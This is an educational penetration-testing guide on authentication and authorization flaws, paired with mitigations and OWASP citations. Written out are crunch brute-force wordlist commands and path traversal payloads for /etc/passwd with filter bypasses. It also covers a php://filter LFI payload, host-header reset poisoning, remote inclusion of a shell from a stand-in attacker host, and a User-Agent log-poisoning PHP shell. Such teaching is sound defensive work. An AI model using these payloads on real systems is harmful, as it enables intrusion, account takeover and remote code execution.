The Attacker's Guide to Breaking and Entering: A Deep Dive into Authentication and Authorization Testing

Part 1: The Digital Gates - Understanding Access Control

In the architecture of digital security, access control stands as the primary guardian, a dual-mechanism gatekeeper responsible for protecting systems and data. The two faces of this gatekeeper are Authentication and Authorization. A failure to understand, distinguish, and correctly implement these two processes is the root cause of some of the most critical and widespread security vulnerabilities. Many catastrophic breaches begin not with a complex cryptographic break, but with a simple, flawed assumption about who a user is or what they are permitted to do. This report will dissect these mechanisms, explore how they are targeted by attackers, and provide a robust framework for testing and fortification.

1.1 Who Are You? The Authentication (AuthN) Principle

Authentication is the foundational process of verifying a claimed identity.1 It is the first step in any security workflow, designed to answer the fundamental question: "Are you truly who you say you are?".3 When a user enters a username and password, the system performs an authentication check by comparing the submitted credentials against its records. If they match, the system authenticates the user, presuming the identity is valid because only the legitimate user should know that specific information.2

The authentication process itself follows a clear, three-step flow: credential submission, verification, and the final access decision.4 To prove their identity, users provide credentials based on one or more authentication factors. These factors fall into three distinct categories 2:

• Something you know: This is the most common factor and includes passwords, personal identification numbers (PINs), or answers to security questions. The security of this factor relies on the secrecy of the information.2
• Something you have: This factor involves possession of a physical object. Examples include a mobile device that receives a one-time pin (OTP) via SMS, a hardware security token (like a YubiKey), or an authentication app that generates time-sensitive codes.2
• Something you are: This factor leverages unique biological traits, known as biometrics. Fingerprint scans, facial recognition, and retinal scans fall into this category, offering a high degree of security due to the inherent uniqueness of these characteristics.3

1.2 What Can You Do? The Authorization (AuthZ) Doctrine

Once a user's identity has been successfully verified through authentication, the system must then address a second, equally important question: "Now that I know who you are, what are you allowed to do?" This is the core of authorization.1 Authorization is the process of granting or denying a successfully authenticated entity permission to access a specific resource, perform an action, or view certain data.3

A critical and inviolable rule of secure system design is that authentication must always precede authorization.3 It is logically impossible and dangerously insecure to determine a user's permissions without first confirming their identity. A system that grants access to resources before confirming identity has no meaningful security.

To make this distinction clear, consider the real-world analogy of a pet sitter.3 The house key is the authentication factor. It verifies that the person at the door is the one who was given the key. Once inside, authorization comes into play. The pet sitter is

authorized to enter the kitchen to access pet food but is not authorized to enter the master bedroom. The key (authentication) gets them in the house, but their defined role (authorization) dictates their permissions within it.

Systems enforce these permissions through various models, such as Role-Based Access Control (RBAC), where permissions are assigned to roles (e.g., 'admin', 'editor', 'viewer'), or Attribute-Based Access Control (ABAC), where access decisions are made based on a combination of user attributes, resource characteristics, and environmental context.4

1.3 Why We Test: Broken Access Control in the OWASP Top 10

The theoretical distinction between authentication and authorization has profound, real-world consequences. The Open Web Application Security Project (OWASP) Top 10, a globally recognized standard for the most critical web application security risks, consistently highlights failures in this domain. The 2021 list features A01:2021-Broken Access Control as the number one risk and A07:2021-Identification and Authentication Failures in a prominent position.7

Broken access control occurs when an application fails to properly enforce policies, allowing users to act outside of their intended permissions, such as an ordinary user accessing administrative functions.7 Identification and authentication failures encompass weaknesses in the login process itself, such as allowing brute-force attacks or having weak password recovery mechanisms.9

The business impact of these vulnerabilities is severe, leading to unauthorized information disclosure, data theft, fraud, and complete system compromise.7 The resulting reputational damage and loss of customer trust can be devastating for an organization.8 Therefore, rigorous security testing—including penetration testing, automated scanning, and secure code reviews—is not an optional luxury but an essential practice to identify and remediate these flaws before they are exploited by malicious actors.7

Many of the most severe authorization vulnerabilities, such as Insecure Direct Object References (IDOR), arise from a subtle but critical developer oversight. The application correctly verifies that a user is authenticated (they have a valid session) but fails to check if that authenticated user is authorized to access the specific resource they have requested.6 This reveals the core challenge: testers must adopt a mindset that constantly questions the system's assumptions. After logging in, the crucial question is not "What can I do?" but rather, "What am I

not supposed to be able to do?" Proactively probing for these authorization gaps is where testers uncover the flaws that lead to major breaches.

Part 2: The Penetration Tester's Toolkit

Effective testing requires the right tools and techniques. Before diving into specific attack scenarios, it is essential to master two fundamental capabilities: generating targeted wordlists for brute-force attacks and analyzing network traffic to understand how an application communicates.

2.1 Forging the Keys: Generating Brute-Force Wordlists with Crunch

A brute-force attack is a straightforward, trial-and-error method used to guess credentials by systematically trying all possible combinations.9 While generic password lists are useful, a more targeted approach is often required. This is where

crunch, a powerful and flexible wordlist generator included in Kali Linux, becomes invaluable.13

crunch allows an attacker to create custom wordlists based on specific criteria, such as password length, character sets, and patterns, making it far more efficient than static lists when some information about the password policy is known.13

The basic syntax for crunch is crunch <min> <max> [characterset][options], where min and max define the password length.13

• Example 1: Generating All 4-Digit Numeric PINs
  To create a list of every possible 4-digit PIN from 0000 to 9999, the command is:
  crunch 4 4 0123456789 -o 4-digit-pins.txt
• Example 2: Adhering to a Complex Password Policy
  If an application requires passwords to be between 8 and 10 characters and include uppercase letters, lowercase letters, numbers, and specific symbols, a targeted list can be generated:
  crunch 8 10 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@!# -o complex-pass.txt
• Example 3: Pattern-Based Generation
  The true power of crunch lies in its pattern generation using the -t option. If a tester suspects passwords follow a pattern, such as the company name followed by the year and a special character (e.g., Company2024!), they can create a highly specific list. The @ symbol represents lowercase letters, , represents uppercase, % represents numbers, and ^ represents symbols.
  crunch 12 12 -t Company%%%%@! -o company-pass.txt
  This command generates words that are exactly 12 characters long, starting with "Company", followed by four numbers, a lowercase letter, and an exclamation mark. This is vastly more efficient than a blind brute-force attack.

The wordlists generated by crunch are then fed into tools like Burp Suite Intruder or Hydra to automate login attempts against a vulnerable authentication endpoint.

2.2 Eavesdropping on the Wire: Analyzing HTTP vs. HTTPS with Wireshark

Understanding network traffic is fundamental to security testing. Wireshark is a powerful network protocol analyzer that allows testers to capture and inspect data packets. A crucial distinction for any tester is the difference between HTTP and HTTPS traffic.

• HTTP (Hypertext Transfer Protocol): Transmits data in plaintext. Any intermediary who can intercept the traffic can read its contents, including sensitive information like usernames and passwords.
• HTTPS (HTTP Secure): Uses Transport Layer Security (TLS), formerly SSL, to encrypt the communication channel. This provides confidentiality and integrity, ensuring that intercepted data is unreadable.14

Demonstration 1: The Insecurity of HTTP

When a user logs into a website over HTTP, their credentials travel across the network in cleartext. A tester can easily capture this traffic with Wireshark. By applying a display filter such as http.request.method == "POST", the tester can isolate the login request.16 Using the "Follow > TCP Stream" feature on this packet reveals the entire conversation, including the raw request body where the

username and password parameters are plainly visible.14 This provides a stark, visual demonstration of why HTTP is fundamentally insecure for transmitting sensitive data.

Demonstration 2: The Challenge and Solution for HTTPS

Capturing HTTPS traffic initially appears less useful. The application data is encrypted, appearing as a meaningless jumble of bytes in Wireshark, which prevents direct analysis of credentials or application logic.17 However, modern web application testing is not about verifying that HTTPS is

used, but that the application logic within the encrypted tunnel is secure. To gain visibility, testers must decrypt this traffic.

The standard method for decrypting TLS traffic for testing purposes involves using a session key log file. Modern browsers like Chrome and Firefox can be configured to log the symmetric session keys (specifically, the (Pre)-Master-Secret) used to encrypt a TLS session to a specified text file.18 Wireshark can then use this key log file to decrypt the captured traffic on the fly.

The process involves two main steps:

1. Configure the Browser to Log Session Keys: This is done by setting an environment variable named SSLKEYLOGFILE and pointing it to a file path where the keys will be saved (e.g., C:\Users\YourUser\Desktop\ssl-keys.log on Windows or ~/.ssl-key.log on Linux/macOS).19 After setting the variable, the browser must be restarted.
2. Configure Wireshark to Use the Key Log File: In Wireshark, navigate to Edit > Preferences > Protocols > TLS. In the (Pre)-Master-Secret log filename field, browse to and select the key log file created in the previous step.18

Once configured, any new HTTPS traffic captured from the browser can be decrypted. The previously unreadable "Application Data" packets will now be parsed as HTTP/2 or HTTP/1.1, and a new "Decrypted TLS" tab will appear in the packet bytes pane, showing the plaintext application data.18 This technique is non-negotiable for modern security testers, as it provides the same level of visibility into HTTPS traffic as one would have with plaintext HTTP, enabling the discovery of vulnerabilities within the encrypted application layer.

Feature

Plaintext HTTP

Encrypted HTTPS (Default Capture)

Decrypted HTTPS (with SSLKEYLOGFILE)

Visibility of Credentials

Fully visible in cleartext

Not visible (encrypted)

Fully visible in cleartext

Visibility of Application Data

Fully visible (URLs, cookies, headers)

Not visible (encrypted)

Fully visible (URLs, cookies, headers)

Required Setup

Basic Wireshark capture

Basic Wireshark capture

Wireshark + SSLKEYLOGFILE environment variable configured

Table 2.1: Wireshark Traffic Analysis Comparison

Part 3: Attacking the Front Door - Exploiting Authentication Mechanisms

Authentication mechanisms are the primary entry points into an application, making them a prime target for attackers. Flaws in these mechanisms are not always complex cryptographic breaks; more often, they are logical errors in how the application manages state, policies, and user workflows.

3.1 Insecure Login Portals: Weak Policies and Lockouts

A login form's resilience against automated attacks is determined by two key factors: its password policy and its account lockout mechanism. A vulnerability arises when an application has a weak password policy (e.g., no complexity requirements, allowing short or common passwords) and, critically, lacks a mechanism to lock out an account after repeated failed login attempts.9

Attack Scenario: Automated Brute-Force

An attacker can exploit this weakness in a straightforward, automated fashion:

1. User Enumeration: The attacker first identifies a valid username, often through another vulnerability where the application gives different responses for valid and invalid users.23
2. Wordlist Generation: Using a tool like crunch, the attacker generates a password list tailored to any known or suspected password policies.13
3. Automated Attack: The attacker configures a tool like Burp Suite Intruder to send the list of passwords to the login endpoint for the targeted username.
4. Success: Without an account lockout mechanism, the tool can try thousands or millions of passwords per hour, eventually guessing the correct one and gaining unauthorized access.24

Testing for this flaw is simple: attempt to log in with an incorrect password 5-10 times. If the account is not temporarily locked, the mechanism is weak or absent.24 Robust mitigation involves enforcing a strong password policy and implementing a temporary account lockout after a small number of failed attempts (e.g., 3-5). This lockout should ideally increase in duration with subsequent failures to deter attackers while minimizing denial-of-service impact on legitimate users.24

3.2 The Forgotten Password Trap: Exploiting Recovery Mechanisms

The password recovery function is often the weakest link in the authentication chain, providing an alternative path to account access that can be less secure than the primary login process.23

Attack Vector 1: Predictable or Leaked Reset Tokens

A secure password reset process relies on a token that is sent to the user's registered email or phone. This token must be cryptographically random, single-use, and have a short expiration time.25 If the token is predictable (e.g., an MD5 hash of the user's email address) or is leaked in the HTTP response body of the reset request itself, an attacker can generate or capture the token and reset the password without ever needing access to the victim's email account.26

Attack Vector 2: Password Reset Poisoning via Host Header Injection

This sophisticated attack exploits applications that dynamically generate the password reset link using the Host header from the attacker's incoming HTTP request.27

1. The attacker initiates a password reset for the victim's account.
2. They intercept the request and modify the Host header to point to a domain they control (e.g., Host: evil-attacker.com).
3. The server, trusting this header, generates a reset link like https://evil-attacker.com/reset?token=VICTIM_TOKEN and sends it in a legitimate email to the victim.
4. When the victim clicks the link, their browser sends the secret token to the attacker's server.
5. The attacker now has the victim's valid token and can use it on the real website to change the password and take over the account.27

Attack Vector 3: Weak Security Questions

Using easily guessable or publicly researchable security questions (e.g., "What is your mother's maiden name?" or "What city were you born in?") as the sole factor for a password reset is exceptionally weak. An attacker can often find these answers through social media or other public records and bypass the entire email verification process.28

Mitigation for these flaws is critical. Developers must generate reset tokens using a cryptographically secure random number generator, ensure they are single-use, and set a short expiry time. The domain used in reset links must be hard-coded or validated against a strict whitelist, never derived from the Host header.25 Finally, weak security questions should be abandoned in favor of more secure methods like OTPs sent to a verified secondary device.

3.3 The Revolving Door: Exploiting Insecure Logout

An insecure logout function is a subtle but severe vulnerability. It occurs when a user clicks the "logout" button, and the application only deletes the client-side session cookie from the browser. The session on the server remains active and valid, meaning the "logout" provides only a false sense of security.29

Attack Scenario: Session Replay on a Public Computer

1. A victim logs into a vulnerable application on a shared or public computer (e.g., in a library or airport) and clicks "logout" when finished. The browser redirects them to the login page.29
2. An attacker later uses the same computer. They access the browser's history or use a proxy tool to retrieve the victim's old session cookie.
3. The attacker injects this cookie into their own browser (e.g., using browser developer tools) and navigates directly to a protected area of the application.
4. Because the session was never invalidated on the server, the server sees a valid session token and grants the attacker full access to the victim's account.29

This vulnerability stems from a failure in server-side state management.

• Insecure Node.js/Express Code: A logout route that only clears the cookie is vulnerable.
  app.post('/logout', (req, res) => { res.clearCookie('session'); res.send('Logged out!'); }); 29
• Secure Node.js/Express Code: The session must be destroyed on the server.
  app.get('/home/logout', (req, res) => { req.session.destroy(); res.redirect('/login'); }); 32
• Insecure PHP Code: A script that does not properly call session_destroy() is vulnerable.30
• Secure PHP Code: A secure logout must fully destroy the server-side session.
  session_start(); session_unset(); session_destroy(); header('Location: index.php'); exit(); 33

The only effective mitigation is to ensure that the logout function always invalidates the session on the server-side in addition to clearing any client-side artifacts like cookies.29

3.4 Defeating the Digital Bouncer: Bypassing CAPTCHA

CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) is a defense mechanism designed to prevent automated abuse, such as brute-force login attempts.34 However, weak implementations are frequently bypassed by attackers.

Attack Scenario: CAPTCHA Replay Attack

The most common flaw in custom CAPTCHA implementations is the failure to properly manage the state of the CAPTCHA token, allowing it to be reused.36

1. An attacker, using a proxy like Burp Suite, solves a CAPTCHA once legitimately. They intercept the request and capture the parameters sent to the server, which might include a CaptchaGUID (the value the user entered) and a CaptchaUniqueId (a hidden token identifying that specific challenge).36
2. The vulnerable application fails to invalidate this CaptchaUniqueId after it has been successfully used. It remains valid indefinitely.
3. The attacker can now automate thousands of subsequent requests (e.g., for a credential stuffing attack) and simply replay the same valid CaptchaGUID and CaptchaUniqueId pair in every request. The server accepts the old, valid token each time, completely nullifying the CAPTCHA's protection.36

Other Bypass Techniques:

• Automated Solvers: Simple, distorted-text CAPTCHAs can often be defeated using Optical Character Recognition (OCR) libraries. More advanced image-based challenges can be solved with machine learning models.37
• Human Solving Services: For a small fee, attackers can integrate their scripts with CAPTCHA-solving services like 2Captcha or Anti-Captcha. These services use an API to forward the CAPTCHA to human workers who solve it in real-time and return the answer. This method is highly effective against nearly all types of CAPTCHAs.35

To defend against these bypasses, CAPTCHA tokens must be managed with strict server-side state controls. They must be single-use, securely bound to the user's current session and IP address, and have a very short expiration time.36 Modern solutions like Google's reCAPTCHA v3 move away from user challenges and instead rely on behavioral analysis to score interactions, making them significantly harder for bots to defeat.37

A common thread connects these authentication vulnerabilities: they are often not cryptographic but logical flaws in state management. Whether it's a session that remains valid after logout, a reset link generated from a tainted Host header, or a CAPTCHA token that can be replayed, the root cause is the server's failure to correctly manage and transition the state of a security-critical object. A skilled tester, therefore, must probe these state transitions, asking: "Can I use an old token?" "Can I influence how a new token is created?" "What happens if I interrupt this workflow and try to reuse a previous step?" This mindset uncovers novel vulnerabilities that automated scanners often miss.

Part 4: Moving Beyond the Gates - Exploiting Authorization Flaws

Once an attacker has successfully authenticated—or if the application allows unauthenticated access to certain functions—the focus shifts to authorization. Authorization vulnerabilities occur when an authenticated user can access data or perform actions that are outside their intended permissions. These flaws allow for privilege escalation, information disclosure, and unauthorized modification of data.

4.1 Path Traversal: Walking Out of the Web Root

Path Traversal, also known as Directory Traversal, is a vulnerability that allows an attacker to read files stored outside of the web application's root directory.40 This is achieved by manipulating user-supplied input that is used to construct a file path, typically by injecting

../ sequences to "traverse" up the directory tree.42

Attack Scenario: Reading Sensitive System Files

Consider a web application that displays product images using a URL like https://example.com/loadImage?filename=product.png. The backend code takes the filename parameter and appends it to a base directory, such as /var/www/images/. An attacker can exploit this by crafting a malicious request:

https://example.com/loadImage?filename=../../../etc/passwd

The server's file system API resolves this path to /var/www/images/../../../etc/passwd. The ../ sequences cause it to navigate up three directories from /var/www/images/ to the filesystem root (/), and then access the /etc/passwd file, which contains a list of users on the server.40

Defenses against Path Traversal often involve simple filters that block or strip the ../ string. However, these can frequently be bypassed using a variety of techniques.

Technique

Payload Example

Target Defense

Description

Basic Traversal

../../../etc/passwd

No defense

The simplest form of the attack.

URL Encoding

%2e%2e%2f or ..%2f

Simple string-based filters

The server URL-decodes the payload before processing, reintroducing the ../ sequence. 45

Double URL Encoding

%252e%252e%252f

Filters that decode input once

Some security layers decode the input, and the application decodes it again, bypassing the filter. 45

Non-Recursive Bypass

....//

Filters that strip ../ once

The filter removes the inner ../, leaving a valid ../ behind. 45

Absolute Path Bypass

/etc/passwd

Filters focused only on relative paths

Directly requests the file from the filesystem root, bypassing relative path defenses. 40

Null Byte Injection

../../../etc/passwd%00.jpg

Filters that enforce a file extension

The null byte (%00) terminates the string, causing the system to ignore the required .jpg extension. 45

Table 4.1: Common Path Traversal Payloads and Bypass Techniques

The most robust mitigation is to avoid passing user-controlled input to filesystem APIs altogether. If it is unavoidable, the application should use a strict whitelist of allowed filenames. If dynamic paths are necessary, the application must first canonicalize the user-supplied path to resolve any traversal sequences and then verify that the resulting absolute path still begins with the expected, secure base directory.42

4.2 File Inclusion Vulnerabilities: The Gateway to Code Execution

While Path Traversal typically involves reading files, File Inclusion vulnerabilities are far more dangerous because they involve the application including and executing the contents of a file specified by user input.49 This is most common in languages like PHP, which have functions like

include() and require() that parse and execute file contents.51 These vulnerabilities are categorized based on the location of the included file.

4.2.1 Local File Inclusion (LFI)

LFI occurs when an attacker can trick the application into including a file that is already present on the local server.47 While this can be used for information disclosure, its true power lies in its potential for escalation to Remote Code Execution (RCE).

• Attack Scenario 1: Reading Source Code with PHP Wrappers
  An attacker can use LFI with a special PHP wrapper, php://filter, to read the source code of a script instead of executing it. This is useful for finding credentials or other vulnerabilities within the code.
  Payload: ?page=php://filter/convert.base64-encode/resource=database_config.php
  The server responds with the Base64-encoded source code of the database configuration file, which the attacker can then decode to reveal credentials.53
• Attack Scenario 2: Information Disclosure
  Similar to Path Traversal, LFI can be used to read sensitive files like /etc/passwd or application log files, providing the attacker with valuable system information.53

4.2.2 Remote File Inclusion (RFI)

RFI is an extremely severe vulnerability where an attacker can force the application to include and execute a file from a remote, attacker-controlled server.49 This almost always leads directly to RCE.

• Attack Scenario: Executing a Remote Shell
  A vulnerable PHP application uses include($_GET['module']); to load different parts of the site. The server's PHP configuration allows for remote URL inclusion.

1. The attacker hosts a malicious PHP web shell at http://attacker-evil-server.com/shell.php.
2. They submit the following request to the vulnerable application: https://victim-site.com/index.php?module=http://attacker-evil-server.com/shell.php
3. The victim's server fetches the shell.php file from the attacker's server and executes it, giving the attacker a command shell and full control over the web server.55

4.2.3 The Escalation Pathway: LFI to RCE

The ultimate goal for an attacker who finds an LFI vulnerability is to escalate it to RCE. This is often possible by chaining the LFI with another weakness that allows the attacker to write a file to the server.

• Method 1: Log Poisoning
  Many web servers, like Apache, log incoming requests to files such as /var/log/apache2/access.log. This includes the User-Agent header.

1. The attacker makes a request to the server, but injects a PHP payload into the User-Agent header:
   User-Agent: <?php system($_GET['cmd']);?>
2. This malicious string is now stored in the server's access log file.
3. The attacker then uses an LFI vulnerability to include the log file:
   https://victim-site.com/index.php?page=../../../../var/log/apache2/access.log&cmd=whoami
4. The server includes the log file, which it parses as PHP. It executes the injected code, running the whoami command and returning the output to the attacker. The attacker now has a web shell.46

• Method 2: File Upload Abuse
  If an application allows file uploads (e.g., for a profile picture), an attacker can leverage this to achieve RCE.

1. The attacker creates a file containing a PHP shell but gives it an image extension, like shell.php.jpg, to bypass basic file type validation.
2. They upload this file to the server.
3. They then use an LFI vulnerability to include their uploaded file from the uploads/ directory:
   https://victim-site.com/index.php?page=uploads/shell.php.jpg
4. Even though the file has a .jpg extension, the PHP include() function may still execute the PHP code within it, granting the attacker RCE.49

The relationship between Path Traversal, LFI, and RFI represents a spectrum of risk originating from the same root cause: improper validation of user-supplied file paths. If the vulnerable function only reads files, it's Path Traversal (Information Disclosure). If it executes local files, it's LFI (Information Disclosure or potential RCE). If it can execute remote files, it's RFI (direct RCE). This hierarchy provides a clear testing methodology: a tester who finds Path Traversal should immediately probe to see if it can be escalated to LFI, and an LFI finding should trigger a search for any file-writing capability on the server to achieve RCE.

Part 5: Fortifying the Fortress - A Proactive Defense Strategy

Defending against authentication and authorization attacks requires more than just patching individual vulnerabilities; it demands a proactive, multi-layered defensive strategy grounded in secure design principles and continuous verification.

5.1 Principles of Secure Access Control

• Input Validation is Paramount: The root cause of nearly all Path Traversal and File Inclusion vulnerabilities is the application's failure to properly validate user-supplied input. All data originating from the user—including URL parameters, POST data, and HTTP headers—must be treated as untrusted. The most effective defense is a strict whitelisting approach, where the application only accepts known-good values, rather than attempting to blacklist known-bad characters, which is a brittle and easily bypassed strategy.11
• Secure Session Management: Robust session management is the cornerstone of secure authentication. This includes ensuring that the logout function invalidates sessions on the server-side, not just on the client. Sessions should have reasonable inactivity timeouts, and session tokens should be regenerated upon any change in privilege level, especially during login, to prevent session fixation attacks.29
• Use Secure-by-Default Frameworks: Modern web frameworks like Django, Ruby on Rails, and others provide built-in components for authentication, authorization, and session management. These components are developed and reviewed by security experts and handle many common vulnerabilities, like CSRF and session handling, securely by default. Developers should leverage these tested solutions rather than attempting to build custom security mechanisms from scratch.60
• Principle of Least Privilege: Web applications and their underlying server processes should run with the minimum level of permissions necessary to function. For example, a web server process should not have write access to its own source code files or read access to sensitive system files. This principle of containment can significantly limit the impact of a successful Path Traversal or LFI attack, preventing an attacker from accessing critical files even if they find a vulnerability.48

5.2 Continuous Verification: Security as a Process

Security is not a one-time fix but a continuous process that must be integrated throughout the entire Software Development Life Cycle (SDLC).

• Shift-Left Security: The "shift-left" philosophy advocates for incorporating security considerations at the earliest stages of development, rather than treating security as an afterthought to be "bolted on" before deployment. This involves training developers in secure coding practices and performing security reviews during the design phase.7
• A Multi-Layered Testing Approach: A comprehensive security posture relies on a combination of testing methodologies, each with its own strengths:

• Automated Scanning (SAST/DAST): Static Application Security Testing (SAST) analyzes source code to find vulnerabilities, while Dynamic Application Security Testing (DAST) scans the running application. These tools are excellent for catching common, known vulnerabilities early and often in the development process.11
• Secure Code Reviews and Developer Training: Having peers or security experts review code is crucial for identifying logic flaws that automated tools might miss. Providing developers with ongoing training on the latest threats and secure coding best practices fixes vulnerabilities at their source.9
• Regular Penetration Testing: Engaging skilled penetration testers to simulate real-world attacks is the best way to uncover complex, context-dependent vulnerabilities, such as chained exploits (e.g., LFI to RCE) and sophisticated business logic flaws that automated tools cannot find.8

By adopting these principles and integrating security into the development culture, organizations can build applications that are not only functional and efficient but also resilient against the ever-evolving landscape of cyber threats.

Works cited

1. www.onelogin.com, accessed June 29, 2025, https://www.onelogin.com/learn/authentication-vs-authorization#:~:text=Authentication%20verifies%20the%20identity%20of,the%20security%20of%20a%20system.
2. Authentication vs. Authorization: What's the Difference? | OneLogin, accessed June 29, 2025, https://www.onelogin.com/learn/authentication-vs-authorization
3. Authentication vs. Authorization - Okta, accessed June 29, 2025, https://www.okta.com/identity-101/authentication-vs-authorization/
4. Authentication vs authorization: Key differences - SailPoint, accessed June 29, 2025, https://www.sailpoint.com/identity-library/difference-between-authentication-and-authorization
5. Authentication vs. Authorization - Auth0, accessed June 29, 2025, https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization
6. Authorization Testing. Introduction | by AWesome | Medium, accessed June 29, 2025, https://anjarwilujeng.medium.com/authorization-testing-be0a47d91fb0
7. A Complete Guide to OWASP Security Testing - ASTRA, accessed June 29, 2025, https://www.getastra.com/blog/security-audit/owasp-security-testing/
8. Security Testing: How to Prepare for the OWASP Top 10 - Software Testing Bureau, accessed June 29, 2025, https://www.softwaretestingbureau.com/en/security-testing-owasp-top-10/
9. OWASP Top 10 Identification and Authentication Failures - Security Journey, accessed June 29, 2025, https://www.securityjourney.com/post/owasp-top-10-identification-and-authentication-failures
10. OWASP M3: Understanding Insecure Authentication - SecureLayer7, accessed June 29, 2025, https://blog.securelayer7.net/owasp-m3-insecure-authentication/
11. What is OWASP & Why is it Important? - Portnox, accessed June 29, 2025, https://www.portnox.com/cybersecurity-101/what-is-owasp-why-is-it-important/
12. Crack Password Using Brute Force Attack | Simplilearn - YouTube, accessed June 29, 2025, https://www.youtube.com/watch?v=o44grXczkIw&pp=0gcJCfwAo7VqN5tD
13. crunch | Kali Linux Tools, accessed June 29, 2025, https://www.kali.org/tools/crunch/
14. 4.6.6.5 Lab - Using Wireshark To Examine HTTP and HTTPS Traffic | PDF - Scribd, accessed June 29, 2025, https://www.scribd.com/document/707002382/4-6-6-5-Lab-Using-Wireshark-to-Examine-HTTP-and-HTTPS-Traffic
15. (PDF) ANALYZING VULNERABILITIES IN NETWORK PROTOCOLS USING WIRESHARK: A CASE STUDY ON HTTP AND HTTPS - ResearchGate, accessed June 29, 2025, https://www.researchgate.net/publication/385744283_ANALYZING_VULNERABILITIES_IN_NETWORK_PROTOCOLS_USING_WIRESHARK_A_CASE_STUDY_ON_HTTP_AND_HTTPS
16. Analyzing HTTP communication with Wireshark - Infosec Train, accessed June 29, 2025, https://www.infosectrain.com/blog/analyzing-http-communication-with-wireshark/
17. How to DECRYPT HTTPS Traffic with Wireshark - YouTube, accessed June 29, 2025, https://www.youtube.com/watch?v=eeikugGyiIg
18. Wireshark Tutorial: Decrypting HTTPS Traffic - Unit 42 - Palo Alto Networks, accessed June 29, 2025, https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/
19. Decrypt SSL with Wireshark - HTTPS Decryption: Step-by-Step Guide - Comparitech, accessed June 29, 2025, https://www.comparitech.com/net-admin/decrypt-ssl-with-wireshark/
20. How to DECRYPT HTTPS Traffic with Wireshark - YouTube, accessed June 29, 2025, https://www.youtube.com/watch?v=5qecyZHL-GU
21. Inspect TLS traffic with Wireshark (decrypt HTTPS) - Uwe Gradenegger, accessed June 29, 2025, https://www.gradenegger.eu/en/inspect-https-ssl-traffic-with-wireshark/
22. Testing for Weak Password Policy - WSTG - v4.1 | OWASP Foundation, accessed June 29, 2025, https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy
23. Testing for Weak Password Change or Reset Functionalities - WSTG - Latest | OWASP Foundation, accessed June 29, 2025, https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/09-Testing_for_Weak_Password_Change_or_Reset_Functionalities
24. Testing for Weak Lock Out Mechanism - WSTG - Latest | OWASP Foundation, accessed June 29, 2025, https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism
25. Forgot Password - OWASP Cheat Sheet Series, accessed June 29, 2025, https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html
26. What is weak password recovery? | Tutorial & examples | Snyk Learn, accessed June 29, 2025, https://learn.snyk.io/lesson/weak-password-recovery/
27. Password reset poisoning | Web Security Academy - PortSwigger, accessed June 29, 2025, https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning
28. Testing for Weak Security Question Answer - WSTG - Latest | OWASP Foundation, accessed June 29, 2025, https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer
29. Session persistence after logout | Tutorial & Examples - Snyk Learn, accessed June 29, 2025, https://learn.snyk.io/lesson/session-persistence/
30. Session Management / No Log Out Functionality - Penetration Testing Workspace, accessed June 29, 2025, https://turingsecure.com/knowledge-base/issues/no-log-out-functionality/
31. Logout Does Not Invalidate Session Token - turingsecure, accessed June 29, 2025, https://turingsecure.com/knowledge-base/issues/logout-does-not-invalidate-session-token/
32. nodejs not actually destroying session after logout - Stack Overflow, accessed June 29, 2025, https://stackoverflow.com/questions/51883119/nodejs-not-actually-destroying-session-after-logout
33. Secure logout with PHP sessions - Stack Overflow, accessed June 29, 2025, https://stackoverflow.com/questions/15200222/secure-logout-with-php-sessions
34. OAT-009 CAPTCHA Defeat - OWASP Foundation, accessed June 29, 2025, https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-009_CAPTCHA_Defeat
35. OWASP Automated Threats - CAPTCHA Defeat (OAT-009) - DevCentral, accessed June 29, 2025, https://community.f5.com/kb/technicalarticles/owasp-automated-threats---captcha-defeat-oat-009/299160
36. Unmasking a Captcha Bypass Vulnerability: Step-by-Step Walkthrough | by Vishal Sharma, accessed June 29, 2025, https://medium.com/@vishalsharma445500/unmasking-a-captcha-bypass-vulnerability-step-by-step-walkthrough-6131519a3788
37. How To Bypass CAPTCHA: Techniques, Tools, And Ethical Risks Explained - ClickPatrol, accessed June 29, 2025, https://clickpatrol.com/how-to-bypass-captcha-techniques-tools-and-ethical/
38. A Full Guide on Bypassing CAPTCHA for Web Scraping | Octoparse, accessed June 29, 2025, https://www.octoparse.com/blog/5-things-you-need-to-know-of-bypassing-captcha-for-web-scraping
39. Best practices for protection from automated threats | reCAPTCHA Enterprise | Google Cloud, accessed June 29, 2025, https://cloud.google.com/recaptcha/docs/best-practices-oat
40. Path Traversal | OWASP Foundation, accessed June 29, 2025, https://owasp.org/www-community/attacks/Path_Traversal
41. What is a Directory or Path Traversal? How to Avoid These Attacks - Jetpack, accessed June 29, 2025, https://jetpack.com/resources/path-directory-traversal/
42. Path traversal | Security - Android Developers, accessed June 29, 2025, https://developer.android.com/privacy-and-security/risks/path-traversal
43. Directory Traversal (Path Traversal) - Invicti, accessed June 29, 2025, https://www.invicti.com/learn/directory-traversal-path-traversal/
44. Directory/Path traversal VS File Inclusion | by A0X_Trojan - Medium, accessed June 29, 2025, https://medium.com/@a0xtrojan/directory-path-traversal-vs-file-inclusion-0e3acfb50e23
45. What is path traversal, and how to prevent it? | Web Security Academy - PortSwigger, accessed June 29, 2025, https://portswigger.net/web-security/file-path-traversal
46. A guide to path traversal and arbitrary file read attacks - YesWeHack, accessed June 29, 2025, https://www.yeswehack.com/learn-bug-bounty/practical-guide-path-traversal-attacks
47. Testing for Local File Inclusion - WSTG - v4.1 | OWASP Foundation, accessed June 29, 2025, https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
48. A Beginner's Guide to Testing for Directory Traversal Attacks | by Michael Cooter | Medium, accessed June 29, 2025, https://medium.com/@mcooter/a-beginners-guide-to-testing-for-directory-traversal-attacks-300e7af275bd
